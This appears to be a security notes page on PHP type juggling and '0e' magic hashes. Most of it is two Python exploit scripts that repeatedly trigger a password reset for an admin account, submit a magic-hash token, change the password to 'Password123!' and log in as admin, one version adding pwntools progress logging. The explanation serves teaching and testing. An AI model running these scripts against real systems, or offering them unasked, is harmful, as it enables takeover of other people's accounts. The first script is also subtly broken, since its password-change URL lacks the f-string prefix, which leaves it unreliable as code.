PHP Type Juggling

PHP type juggling vulnerability occurs when different data types are compared, leading to unexpected results. It exploits PHP's loose comparison (==) allowing different types to be considered equal, for instance, '0' (string) and 0 (integer). This can lead to security issues like bypassing authentication checks.

To identify a type juggling vulnerability, look for loose comparisons (using '==' instead of '===').

In languages like PHP, when comparing two strings using the '==' operator, if both strings are numerical or have a numerical leading part, PHP will coerce them into numbers and then compare these numbers. This behavior can lead to unexpected and insecure outcomes.

The term "magic hash" refers to specially crafted strings that, when compared using '==', result in true due to this type coercion, even though the strings themselves are different. For instance, if a string starts with '0e' followed by digits (like '0e123456'), PHP interprets this as a number in scientific notation (0 multiplied by 10 to the power of 123456), which equates to 0. So, any two strings of this form will be considered equal because they both evaluate to 0 numerically.

In the context of security, this becomes a vulnerability when such strings are used in critical comparisons, like verifying passwords or tokens. For example, if an application uses '==' for comparing a user-provided password hash with the stored hash, an attacker could provide a magic hash that unexpectedly matches a different password hash, allowing unauthorized access.

For example, to exploit a reset passwords URL when it uses magic hashes in the token field:

import requests, sys, time

# Initialize the current timestamp
timestamp = int(time.time())

# Start a new session with the target website
session = requests.Session()
session.get("http://example.com")

# Function to request a password reset
def request_password_reset():
    # Sends a POST request to initiate a password reset for the admin's email
    session.post('http://example.com/forgot', data={'email': "admin@example.com"})

# Function to test for the magic hash vulnerability
def check_if_vulnerable():
    # Sends a GET request to the password reset URL with a special token
    response = session.get(f'http://example.com/reset/1/{timestamp}/0e123456')
    return "Reset your password below" in response.text

# Exploitation loop
while True:
    request_password_reset()
    if check_if_vulnerable():
        # Change the password using the magic hash vulnerability
        session.post('http://example.com/reset/1/{timestamp}/0e123456', data={'password': 'Password123!'})
        print('Password changed successfully to Password123!')
        break

# Attempt to login with the new password
login_response = session.post('http://example.com/login', data={'email': "admin@example.com", 'password': 'Password123!'})

# Check if the login was successful and print a message
if "Login successful" in login_response.text:  # Replace this condition based on the actual response content
    print("Successfully logged in as admin.")
else:
    print("Failed to log in.")

This can be improved with pwnkit logging:

import requests
import time
from pwn import log

# Initialize the current timestamp
timestamp = int(time.time())

# Start a new session with the target website
session = requests.Session()
session.get("http://example.com")

# Initialize the log context
context = log.progress("Exploiting Magic Hash Vulnerability")

# Function to request a password reset
def request_password_reset():
    # Sends a POST request to initiate a password reset for the admin's email
    response = session.post('http://example.com/forgot', data={'email': "admin@example.com"})
    return response

# Function to test for the magic hash vulnerability
def check_if_vulnerable():
    # Sends a GET request to the password reset URL with a special token
    response = session.get(f'http://example.com/reset/1/{timestamp}/0e123456')
    return "Reset your password below" in response.text

# Exploitation loop
while True:
    request_password_reset()
    context.status("Requesting password reset...")
    if check_if_vulnerable():
        # Change the password using the magic hash vulnerability
        response = session.post(f'http://example.com/reset/1/{timestamp}/0e123456', data={'password': 'Password123!'})
        if "Password changed successfully" in response.text:
            context.success("Password changed successfully to Password123!")
        else:
            context.failure("Password change failed")
        break
    else:
        context.status("No vulnerability found, retrying...")

# Attempt to login with the new password
login_response = session.post('http://example.com/login', data={'email': "admin@example.com", 'password': 'Password123!'})

# Check if the login was successful and print a message
if "Login successful" in login_response.text:  # Replace this condition based on the actual response content
    context.success("Successfully logged in as admin.")
else:
    context.failure("Failed to log in.")

# Clean up the log context
context.success("Exploitation complete")

Last updated